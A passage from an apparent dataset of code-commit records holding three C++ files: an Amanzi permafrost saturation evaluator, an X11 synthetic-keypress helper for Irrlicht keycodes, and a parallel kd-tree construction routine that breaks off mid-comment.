cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]\n ->saturations(pc_liq_bf[0][bf], pc_ice_bf[0][bf], sats);\n satg_bf[0][bf] = sats[0];\n satl_bf[0][bf] = sats[1];\n sati_bf[0][bf] = sats[2];\n }\n }\n}\n\n\nvoid\nWRMPermafrostEvaluator::EvaluateFieldPartialDerivative_(const Teuchos::Ptr<State>& S,\n Key wrt_key, const std::vector<Teuchos::Ptr<CompositeVector> > & results) {\n\n \/\/ Cell values\n Epetra_MultiVector& satg_c = *results[0]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& satl_c = *results[1]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& sati_c = *results[2]->ViewComponent(\"cell\",false);\n\n const Epetra_MultiVector& pc_liq_c = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"cell\",false);\n const Epetra_MultiVector& pc_ice_c = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"cell\",false);\n\n double dsats[3];\n if (wrt_key == pc_liq_key_) {\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->dsaturations_dpc_liq(\n pc_liq_c[0][c], pc_ice_c[0][c], dsats);\n\n satg_c[0][c] = dsats[0];\n satl_c[0][c] = dsats[1];\n sati_c[0][c] = dsats[2];\n }\n\n } else if (wrt_key == pc_ice_key_) {\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->dsaturations_dpc_ice(\n pc_liq_c[0][c], pc_ice_c[0][c], dsats);\n\n satg_c[0][c] = dsats[0];\n satl_c[0][c] = dsats[1];\n sati_c[0][c] = dsats[2];\n }\n } else {\n ASSERT(0);\n }\n\n \/\/ Potentially do face values as well, though only for saturation_liquid?\n if (results[1]->HasComponent(\"boundary_face\")) {\n ASSERT(!results[0]->HasComponent(\"boundary_face\"));\n ASSERT(!results[2]->HasComponent(\"boundary_face\"));\n\n Epetra_MultiVector& sat_bf = *results[1]->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_liq_bf = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_ice_bf = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"boundary_face\",false);\n\n \/\/ Need to get boundary face's inner cell to specify the WRM.\n Teuchos::RCP<const AmanziMesh::Mesh> mesh = results[0]->Mesh();\n const Epetra_Map& face_map = mesh->face_epetra_map(false);\n const Epetra_Map& vandelay_map = mesh->exterior_face_epetra_map();\n AmanziMesh::Entity_ID_List cells;\n\n if (wrt_key == pc_liq_key_) {\n \/\/ calculate boundary face values\n int nbfaces = sat_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]->dsaturations_dpc_liq(\n pc_liq_bf[0][bf], pc_ice_bf[0][bf], dsats);\n sat_bf[0][bf] = dsats[1];\n }\n\n } else if (wrt_key == pc_ice_key_) {\n \/\/ calculate boundary face values\n int nbfaces = sat_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]->dsaturations_dpc_ice(\n pc_liq_bf[0][bf], pc_ice_bf[0][bf], dsats);\n sat_bf[0][bf] = dsats[1];\n }\n } else {\n ASSERT(0);\n }\n }\n}\n\n\n\n} \/\/ namespace\n} \/\/ namespace\n} \/\/ namespace\n\n\n\n<commit_msg>megering stuff<commit_after>\/* -*- mode: c++; c-default-style: \"google\"; indent-tabs-mode: nil -*- *\/\n\n\/*\n This WRM evaluator evaluates saturation of gas, liquid, and ice from\n capillary pressures for the ice-liquid and liquid-gas pairs.\n\n Authors: Ethan Coon (ecoon@lanl.gov)\n*\/\n\n#include \"wrm_permafrost_evaluator.hh\"\n#include \"wrm_partition.hh\"\n\nnamespace Amanzi {\nnamespace Flow {\nnamespace FlowRelations {\n\n\/* --------------------------------------------------------------------------------\n Constructor from just a ParameterList, reads WRMs and permafrost models from list.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist) :\n SecondaryVariablesFieldEvaluator(plist) {\n\n \/\/ get the WRMs\n ASSERT(plist_.isSublist(\"WRM parameters\"));\n Teuchos::ParameterList wrm_plist = plist_.sublist(\"WRM parameters\");\n wrms_ = createWRMPartition(wrm_plist);\n\n \/\/ and the permafrost models\n ASSERT(plist_.isSublist(\"permafrost model parameters\"));\n Teuchos::ParameterList perm_plist = plist_.sublist(\"permafrost model parameters\");\n permafrost_models_ = createWRMPermafrostModelPartition(perm_plist, wrms_);\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Constructor with WRMs.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist,\n const Teuchos::RCP<WRMPartition>& wrms) :\n SecondaryVariablesFieldEvaluator(plist),\n wrms_(wrms) {\n\n \/\/ and the permafrost models\n ASSERT(plist_.isSublist(\"permafrost model parameters\"));\n Teuchos::ParameterList perm_plist = plist_.sublist(\"permafrost model parameters\");\n permafrost_models_ = createWRMPermafrostModelPartition(perm_plist, wrms_);\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Constructor with Permafrost models.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist,\n const Teuchos::RCP<WRMPermafrostModelPartition>& models) :\n SecondaryVariablesFieldEvaluator(plist),\n permafrost_models_(models) {\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Copy constructor\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(const WRMPermafrostEvaluator& other) :\n SecondaryVariablesFieldEvaluator(other),\n pc_liq_key_(other.pc_liq_key_),\n pc_ice_key_(other.pc_ice_key_),\n s_l_key_(other.s_l_key_),\n permafrost_models_(other.permafrost_models_) {}\n\n\n\/* --------------------------------------------------------------------------------\n Virtual opy constructor as a FieldEvaluator.\n -------------------------------------------------------------------------------- *\/\nTeuchos::RCP<FieldEvaluator>\nWRMPermafrostEvaluator::Clone() const {\n return Teuchos::rcp(new WRMPermafrostEvaluator(*this));\n}\n\n\n\/* --------------------------------------------------------------------------------\n Initialization of keys.\n -------------------------------------------------------------------------------- *\/\nvoid WRMPermafrostEvaluator::InitializeFromPlist_() {\n \/\/ my keys are for saturation -- order matters... gas -> liq -> ice\n my_keys_.push_back(plist_.get<string>(\"gas saturation key\", \"saturation_gas\"));\n s_l_key_ = plist_.get<string>(\"liquid saturation key\", \"saturation_liquid\");\n my_keys_.push_back(s_l_key_);\n my_keys_.push_back(plist_.get<string>(\"ice saturation key\", \"saturation_ice\"));\n\n \/\/ liquid-gas capillary pressure\n pc_liq_key_ = plist_.get<string>(\"gas-liquid capillary pressure key\",\n \"capillary_pressure_gas_liq\");\n dependencies_.insert(pc_liq_key_);\n\n \/\/ liquid-gas capillary pressure\n pc_ice_key_ = plist_.get<string>(\"liquid-ice capillary pressure key\",\n \"capillary_pressure_liq_ice\");\n dependencies_.insert(pc_ice_key_);\n}\n\n\n\nvoid WRMPermafrostEvaluator::EvaluateField_(const Teuchos::Ptr<State>& S,\n const std::vector<Teuchos::Ptr<CompositeVector> >& results) {\n \/\/ Initialize the MeshPartition\n if (!permafrost_models_->first->initialized())\n permafrost_models_->first->Initialize(results[0]->Mesh());\n\n \/\/ Cell values\n Epetra_MultiVector& satg_c = *results[0]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& satl_c = *results[1]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& sati_c = *results[2]->ViewComponent(\"cell\",false);\n\n const Epetra_MultiVector& pc_liq_c = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"cell\",false);\n const Epetra_MultiVector& pc_ice_c = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"cell\",false);\n\n double sats[3];\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->saturations(pc_liq_c[0][c], pc_ice_c[0][c], sats);\n satg_c[0][c] = sats[0];\n satl_c[0][c] = sats[1];\n sati_c[0][c] = sats[2];\n }\n\n \/\/ Potentially do face values as well, though only for saturation_liquid?\n if (results[0]->HasComponent(\"boundary_face\")) {\n Epetra_MultiVector& satg_bf = *results[0]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& satl_bf = *results[1]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& sati_bf = *results[2]->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_liq_bf = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_ice_bf = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"boundary_face\",false);\n\n \/\/ Need to get boundary face's inner cell to specify the WRM.\n Teuchos::RCP<const AmanziMesh::Mesh> mesh = results[0]->Mesh();\n const Epetra_Map& vandelay_map = mesh->exterior_face_epetra_map();\n const Epetra_Map& face_map = mesh->face_epetra_map(false);\n AmanziMesh::Entity_ID_List cells;\n\n \/\/ calculate boundary face values\n int nbfaces = satg_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]\n ->saturations(pc_liq_bf[0][bf], pc_ice_bf[0][bf], sats);\n satg_bf[0][bf] = sats[0];\n satl_bf[0][bf] = sats[1];\n sati_bf[0][bf] = sats[2];\n }\n }\n}\n\n\nvoid\nWRMPermafrostEvaluator::EvaluateFieldPartialDerivative_(const Teuchos::Ptr<State>& S,\n Key wrt_key, const std::vector<Teuchos::Ptr<CompositeVector> > & results) {\n\n \/\/ Cell values\n Epetra_MultiVector& satg_c = *results[0]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& satl_c = *results[1]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& sati_c = *results[2]->ViewComponent(\"cell\",false);\n\n const Epetra_MultiVector& pc_liq_c = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"cell\",false);\n const Epetra_MultiVector& pc_ice_c = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"cell\",false);\n\n double dsats[3];\n if (wrt_key == pc_liq_key_) {\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->dsaturations_dpc_liq(\n pc_liq_c[0][c], pc_ice_c[0][c], dsats);\n\n satg_c[0][c] = dsats[0];\n satl_c[0][c] = dsats[1];\n sati_c[0][c] = dsats[2];\n }\n\n } else if (wrt_key == pc_ice_key_) {\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->dsaturations_dpc_ice(\n pc_liq_c[0][c], pc_ice_c[0][c], dsats);\n\n satg_c[0][c] = dsats[0];\n satl_c[0][c] = dsats[1];\n sati_c[0][c] = dsats[2];\n }\n } else {\n ASSERT(0);\n }\n\n \/\/ Potentially do face values as well, though only for saturation_liquid?\n if (results[0]->HasComponent(\"boundary_face\")) {\n Epetra_MultiVector& satg_bf = *results[0]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& satl_bf = *results[1]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& sati_bf = *results[2]->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_liq_bf = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_ice_bf = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"boundary_face\",false);\n\n \/\/ Need to get boundary face's inner cell to specify the WRM.\n Teuchos::RCP<const AmanziMesh::Mesh> mesh = results[0]->Mesh();\n const Epetra_Map& face_map = mesh->face_epetra_map(false);\n const Epetra_Map& vandelay_map = mesh->exterior_face_epetra_map();\n AmanziMesh::Entity_ID_List cells;\n\n if (wrt_key == pc_liq_key_) {\n \/\/ calculate boundary face values\n int nbfaces = satl_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]->dsaturations_dpc_liq(\n pc_liq_bf[0][bf], pc_ice_bf[0][bf], dsats);\n satg_bf[0][bf] = dsats[0];\n satl_bf[0][bf] = dsats[1];\n sati_bf[0][bf] = dsats[2];\n }\n\n } else if (wrt_key == pc_ice_key_) {\n \/\/ calculate boundary face values\n int nbfaces = satl_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal cell to choose the right WRM\n AmanziMesh::Entity_ID f = face_map.LID(vandelay_map.GID(bf));\n mesh->face_get_cells(f, AmanziMesh::USED, &cells);\n ASSERT(cells.size() == 1);\n\n int i = (*permafrost_models_->first)[cells[0]];\n permafrost_models_->second[i]->dsaturations_dpc_ice(\n pc_liq_bf[0][bf], pc_ice_bf[0][bf], dsats);\n satg_bf[0][bf] = dsats[0];\n satl_bf[0][bf] = dsats[1];\n sati_bf[0][bf] = dsats[2];\n }\n } else {\n ASSERT(0);\n }\n }\n}\n\n\n\n} \/\/ namespace\n} \/\/ namespace\n} \/\/ namespace\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <X11\/Xlib.h>\n#include <X11\/keysym.h>\n#include <irrlicht\/Keycodes.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#define RETURN 13\n#define BS 8\n#define SPACE 32\n\nXKeyEvent createKeyEvent(Display *display,\n Window &win,\n Window &winRoot,\n bool press,\n int keycode,\n int modifiers)\n{\n \/\/ Largely lifted from\n \/\/ http:\/\/www.doctort.org\/adam\/nerd-notes\/x11-fake-keypress-event.html\n XKeyEvent event;\n event.display = display;\n event.window = win;\n event.root = winRoot;\n event.subwindow = None;\n event.time = CurrentTime;\n event.x = 1;\n event.y = 1;\n event.x_root = 1;\n event.y_root = 1;\n event.same_screen = True;\n event.keycode = XKeysymToKeycode(display, keycode);\n event.state = modifiers;\n\n if(press)\n event.type = KeyPress;\n else\n event.type = KeyRelease;\n\n return event;\n}\n\nclass X11Display {\n public:\n Display *display;\n Window winRoot;\n X11Display(const char* dispName);\n ~X11Display();\n int sendKeyEvent(int keycode, bool keyDown, int mod);\n};\n\n\/\/ TODO: fail out if display doesn't initialize\nX11Display::X11Display(const char* dispName) \n{\n display = XOpenDisplay(dispName);\n if(NULL == display) {\n printf(\"invalid X11 display: %s\\n\", dispName);\n throw;\n }\n winRoot = XDefaultRootWindow(display);\n}\n\nX11Display::~X11Display() { XCloseDisplay(display); }\n\nint X11Display::sendKeyEvent(int keycode, bool keyDown, int mod = 0)\n{\n if(-1==keycode)\n return 0;\n Window winFocus;\n int revert;\n\n XGetInputFocus(display, &winFocus, &revert);\n XKeyEvent event = createKeyEvent(display, winFocus, winRoot, keyDown, keycode, mod);\n XSendEvent(event.display, event.window, True, KeyPressMask, (XEvent*)&event);\n return 0;\n}\n\nbool IsModKey(int keycode) {\n switch(keycode){\n \/\/shift, control and menu (both left and right) are consecutive\n case irr::KEY_LSHIFT ... irr::KEY_RMENU :\n return true;\n default :\n return false;\n }\n}\n\nint mapKeyCode(int irrcode){\n switch(irrcode){\n \/\/FIXME: only to get rid of arrow spam\n case 37 ... 40:\n return -1;\n case irr::KEY_BACK :\n return XK_BackSpace;\n case irr::KEY_TAB :\n return XK_Tab;\n \/\/FIXME: Should escape be a modifier too?\n case irr::KEY_ESCAPE :\n return XK_Escape;\n case irr::KEY_RETURN :\n return XK_Return;\n case irr::KEY_MINUS :\n return XK_minus;\n case irr::KEY_PLUS :\n return XK_equal;\n case irr::KEY_OEM_1 :\n return XK_semicolon;\n case irr::KEY_OEM_2 :\n return XK_slash;\n case irr::KEY_OEM_4 :\n return XK_bracketleft;\n case irr::KEY_OEM_6 :\n return XK_bracketright;\n case irr::KEY_OEM_7 :\n return XK_apostrophe;\n case irr::KEY_PERIOD :\n return XK_period;\n case irr::KEY_COMMA :\n return XK_comma;\n case irr::KEY_OEM_5 :\n return XK_backslash;\n case irr::KEY_LSHIFT :\n return XK_Shift_L;\n case irr::KEY_RSHIFT :\n return XK_Shift_R;\n case irr::KEY_LCONTROL :\n return XK_Control_L;\n case irr::KEY_RCONTROL :\n return XK_Control_R;\n default:\n return irrcode;\n }\n}\n\n<commit_msg>Lined up prototypes for moving in to header file<commit_after>#include <X11\/Xlib.h>\n#include <X11\/keysym.h>\n#include <irrlicht\/Keycodes.h>\n#include <stdio.h>\n#include <unistd.h>\n\n#define RETURN 13\n#define BS 8\n#define SPACE 32\n\nXKeyEvent createKeyEvent(Display *display,\n Window &win,\n Window &winRoot,\n bool press,\n int keycode,\n int modifiers);\n\nclass X11Display {\n public:\n Display *display;\n Window winRoot;\n X11Display(const char* dispName);\n ~X11Display();\n int sendKeyEvent(int keycode, bool keyDown, int mod);\n};\n\nbool IsModKey(int keycode);\n\nint mapKeyCode(int irrcode);\n\nXKeyEvent createKeyEvent(Display *display,\n Window &win,\n Window &winRoot,\n bool press,\n int keycode,\n int modifiers)\n{\n \/\/ Largely lifted from\n \/\/ http:\/\/www.doctort.org\/adam\/nerd-notes\/x11-fake-keypress-event.html\n XKeyEvent event;\n event.display = display;\n event.window = win;\n event.root = winRoot;\n event.subwindow = None;\n event.time = CurrentTime;\n event.x = 1;\n event.y = 1;\n event.x_root = 1;\n event.y_root = 1;\n event.same_screen = True;\n event.keycode = XKeysymToKeycode(display, keycode);\n event.state = modifiers;\n\n if(press)\n event.type = KeyPress;\n else\n event.type = KeyRelease;\n\n return event;\n}\n\n\n\/\/ TODO: fail out if display doesn't initialize\nX11Display::X11Display(const char* dispName) \n{\n display = XOpenDisplay(dispName);\n if(NULL == display) {\n printf(\"invalid X11 display: %s\\n\", dispName);\n throw;\n }\n winRoot = XDefaultRootWindow(display);\n}\n\nX11Display::~X11Display() { XCloseDisplay(display); }\n\nint X11Display::sendKeyEvent(int keycode, bool keyDown, int mod = 0)\n{\n if(-1==keycode)\n return 0;\n Window winFocus;\n int revert;\n\n XGetInputFocus(display, &winFocus, &revert);\n XKeyEvent event = createKeyEvent(display, winFocus, winRoot, keyDown, keycode, mod);\n XSendEvent(event.display, event.window, True, KeyPressMask, (XEvent*)&event);\n return 0;\n}\n\nbool IsModKey(int keycode) {\n switch(keycode){\n \/\/shift, control and menu (both left and right) are consecutive\n case irr::KEY_LSHIFT ... irr::KEY_RMENU :\n return true;\n default :\n return false;\n }\n}\n\nint mapKeyCode(int irrcode){\n switch(irrcode){\n \/\/FIXME: only to get rid of arrow spam\n case 37 ... 40:\n return -1;\n case irr::KEY_BACK :\n return XK_BackSpace;\n case irr::KEY_TAB :\n return XK_Tab;\n \/\/FIXME: Should escape be a modifier too?\n case irr::KEY_ESCAPE :\n return XK_Escape;\n case irr::KEY_RETURN :\n return XK_Return;\n case irr::KEY_MINUS :\n return XK_minus;\n case irr::KEY_PLUS :\n return XK_equal;\n case irr::KEY_OEM_1 :\n return XK_semicolon;\n case irr::KEY_OEM_2 :\n return XK_slash;\n case irr::KEY_OEM_4 :\n return XK_bracketleft;\n case irr::KEY_OEM_6 :\n return XK_bracketright;\n case irr::KEY_OEM_7 :\n return XK_apostrophe;\n case irr::KEY_PERIOD :\n return XK_period;\n case irr::KEY_COMMA :\n return XK_comma;\n case irr::KEY_OEM_5 :\n return XK_backslash;\n case irr::KEY_LSHIFT :\n return XK_Shift_L;\n case irr::KEY_RSHIFT :\n return XK_Shift_R;\n case irr::KEY_LCONTROL :\n return XK_Control_L;\n case irr::KEY_RCONTROL :\n return XK_Control_R;\n default:\n return irrcode;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/ this file exists to remove C++11 from CUDA, to support outdated nvcc compilers\n#include \"lkt.h\"\n#include <time.h>\n#include <stdio.h>\n#include <stdlib.h> \n#include <assert.h>\n#include <math.h>\n\/\/#include \"mergesort.hh\"\n#include \"tbb\/tbb.h\"\n#include \"quicksort.hh\"\n\n\/*\nstd::ostream& operator<<(std::ostream& s, const lkt_point& p) {\n s << \"{\" << p.x << \", \" << p.y << \", \" << p.key << \"}\";\n return s;\n}\n*\/\n\n\/\/\/ \\todo change these to C++ and use templates. Or Macros. Something.\n\n\/\/\/ finds a heuristic value, using the given sample rate, splitting on the x-axis\nstatic ord_t lkt_find_splitpoint_x(lkt_point* begin, lkt_point* end, size_t sample_rate) {\n double average = 0.0;\n size_t samples_taken = 0;\n sample_rate = (end - begin) \/ sample_rate + 1;\n for(lkt_point* i = begin; i < end; i += sample_rate, ++samples_taken) {\n average += i->x;\n }\n average \/= samples_taken;\n return average;\n}\n\n\/\/\/ finds a heuristic value, using the given sample rate, splitting on the y-axis\nstatic ord_t lkt_find_splitpoint_y(lkt_point* begin, lkt_point* end, size_t sample_rate) {\n double average = 0.0;\n size_t samples_taken = 0;\n sample_rate = (end - begin) \/ sample_rate + 1;\n for(lkt_point* i = begin; i < end; i += sample_rate, ++samples_taken) {\n average += i->y;\n }\n average \/= samples_taken;\n return average;\n}\n\n\/\/\/ DO NOT change this to use the XOR method. It is slow.\nstatic inline void lkt_swap(lkt_point* a, lkt_point* b) {\n lkt_point old_a = *a;\n *a = *b;\n *b = old_a;\n}\n\nstatic inline size_t get_heap_child_l(const size_t i) {return i * 2 + 1;}\nstatic inline size_t get_heap_child_r(const size_t i) {return i * 2 + 2;}\nstatic inline size_t get_heap_parent(const size_t i) {return (i - 1) \/ 2;}\n\nstatic bool point_comparator_x(const lkt_point& a, const lkt_point& b) {\n return a.x < b.x;\n}\n\nstatic bool point_comparator_y(const lkt_point& a, const lkt_point& b) {\n return a.y < b.y;\n}\n\n\/\/\/ \\param sample_rate the rate to sample when finding the split point\nstatic void lkt_sort_parallel(lkt_point* points, size_t len,\n size_t sample_rate, fixlentree<lkt_split_point>& splitpoints, index_t splitpoint_parent, bool splitpoint_thisisleft,\n bool xaxis, \n const unsigned short current_depth, const unsigned short max_depth) {\n\n const size_t PARALLEL_QUICKSORT_THREADS = 8;\n\/*\n fprintf(stderr, \"lkt_sort called for splitpoint %f\\n\", splitpoint);\n fprintf(stderr, \"lkt_sort called for points %p, len %lu\\n\", (void*)points, len);\n fprintf(stderr, \"lkt_sort called for splitpoint_i %lu\\n\", splitpoint_i);\n fprintf(stderr, \"lkt_sort next splitpoint_is: %lu, %lu\\n\", get_heap_child_l(splitpoint_i), get_heap_child_r(splitpoint_i));\n\n fprintf(stderr, \"sort at splitpoint_i = %lu\\n\", splitpoint_i);\n fflush(stdout);\n*\/\n if(len < 2 || current_depth == max_depth)\n return;\n\n \/\/ splitpoint is the value in the points array, by which the points will be partitioned\n \/\/ splitpoint_val is the (local) index in the points array, before which values are less than splitpoint.\n\n typedef ord_t (*splitpoint_finder_func_t)(lkt_point* begin, lkt_point* end, size_t sample_rate);\n typedef bool (*comparator_func_t)(const lkt_point&, const lkt_point&);\n\n\n \/\/ avoids conditionals.\n const splitpoint_finder_func_t find_split_func = (splitpoint_finder_func_t)((intptr_t)lkt_find_splitpoint_x * xaxis + (intptr_t)lkt_find_splitpoint_y * !xaxis);\n const comparator_func_t comparator_func = (comparator_func_t)((intptr_t)point_comparator_x * xaxis + (intptr_t)point_comparator_y * !xaxis);\n\n const ord_t splitpoint = find_split_func(points, points + len, sample_rate);\n const lkt_point splitpoint_point = {splitpoint, splitpoint, 0}; \/\/ cheaper to just assign both, than a conditional\n\n\/\/ cout << \"debug len:\" << len << \" splitpoint: \" << splitpoint << endl;\n\n\/\/ cout << \"debug partition started\" << endl;\n const uint_least64_t splitpoint_val = parallel_quicksort_partition(points, points + len, splitpoint_point, PARALLEL_QUICKSORT_THREADS, comparator_func); \/\/\/< \\todo fix last (?) block bug\n\/\/ cout << \"debug partition finished\" << endl;\n\n const lkt_split_point lkt_splitpoint = {splitpoint, splitpoint_val};\n\n const index_t splitpoint_next_parent = splitpoints.insert(splitpoint_parent, splitpoint_thisisleft, lkt_splitpoint);\n\n if(splitpoint_next_parent == splitpoints.tree_end)\n return;\n\n if(splitpoint_val == 0 || splitpoint_val == len - 1)\n return;\n\n\/\/ cout << \"splitpoint \" << (xaxis ? \"x\" : \"y\") << \" val: \" << splitpoint << \" location: \" << splitpoint_val << endl;\n\n\/*\nlkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, true,\n !xaxis, current_depth + 1, max_depth);\nlkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, false,\n !xaxis, current_depth + 1, max_depth);\n*\/\n\n tbb::parallel_invoke([&]() {lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, true,\n !xaxis, current_depth + 1, max_depth);},\n [&]() {lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, splitpoint_next_parent, false,\n !xaxis, current_depth + 1, max_depth);});\n\n}\n\n\/\/\/ returns a heap\nlinear_kdtree lkt_create_parallel(lkt_point* points, size_t len) {\n\n const size_t PARALLEL_QUICKSORT_THREADS = 8;\n\n fprintf(stderr, \"lkt_create called for points %p, true end %p \\n\", (void*)points, (void*)(points + len));\n\n if(sizeof(mortoncode_t) != 4) {\n fprintf(stderr, \"mortoncode_t NOT 32 BITS! ERROR!ERROR!ERROR!\"); \/\/\/ \\todo fix to be static_assert\n exit(1);\n }\n\n const unsigned short max_depth = sizeof(mortoncode_t) * CHAR_BIT;\n\n linear_kdtree tree;\n tree.points = points;\n tree.len = len;\n\n\/\/ fprintf(stderr, \"lkt_create depth %lu\\n\", (size_t)depth);\n\/\/ fprintf(stderr, \"lkt_create split_points_len %lu\\n\", (size_t)tree.split_points_len);\n\/\/ fprintf(stderr, \"lkt_create newing split_points size %lu\\n\", sizeof(lkt_split_point) * tree.split_points_len);\n\/\/ fprintf(stderr, \"lkt_create newed split_points\\n\");\n\n const size_t sample_rate = 100;\n\n\/\/ fprintf(stderr, \"lkt_create sorting\\n\");\n\n tree.split_points_len = len;\n\n fixlentree<lkt_split_point> splitpoints(tree.split_points_len); \/\/\/< \\todo scope\n\n const ord_t splitpoint = lkt_find_splitpoint_x(points, points + len, sample_rate);\n const lkt_point splitpoint_point = {splitpoint, splitpoint, 0}; \/\/ cheaper to just assign both, than a conditional\n const uint_least64_t splitpoint_val = parallel_quicksort_partition(points, &points[len], splitpoint_point, PARALLEL_QUICKSORT_THREADS, point_comparator_x);\n\n const lkt_split_point lkt_splitpoint = {splitpoint, splitpoint_val};\n const index_t root = splitpoints.insert_root(lkt_splitpoint);\n\n\/\/ cout << \"first splitpoint x val: \" << splitpoint << \" location: \" << splitpoint_val << endl;\n \n cout << \"debug 0 parallel invoking\" << endl;\n\n\n tbb::parallel_invoke([&]() {lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, root, true,\n false, 1, max_depth);},\n [&]() {lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, root, false,\n false, 1, max_depth);});\n\n\/*\n lkt_sort_parallel(points, splitpoint_val, sample_rate, \n splitpoints, root, true,\n false, 1, max_depth);\n lkt_sort_parallel(points + splitpoint_val, len - splitpoint_val, sample_rate, \n splitpoints, root, false,\n false, 1, max_depth);\n*\/\n\n cout << \"debug 1 splitpoints releasing\" << endl;\n\n tree.split_points = splitpoints.release();\n\n fprintf(stderr, \"lkt_create coding\\n\");\n\n\n\n\n\n tree.morton_codes = lkt_create_mortoncodes_parallel(tree.points, tree.len, tree.split_points);\n\n\/\/ fprintf(stderr, \"lkt_create returning\\n\");\n return tree;\n}\n\n\/*\n\/\/ x value ALONE is used for comparison, to create an xpack\nbool operator<(const lkt_point& rhs, const lkt_point& lhs) {\n return rhs.x < lhs.x;\n}\n\nbool operator<(const lqt_unified_node& rhs, const lqt_unified_node& lhs) {\n return rhs.location < lhs.location;\n}\n\nlinear_quadtree_unified tbb_sortify_unified(linear_quadtree_unified lqt, const size_t threads) {\n\/\/ auto lowxpack = [](const rtree_point& rhs, const rtree_point& lhs) {\n\/\/ return rhs.x < rhs.y;\n\/\/ };\n 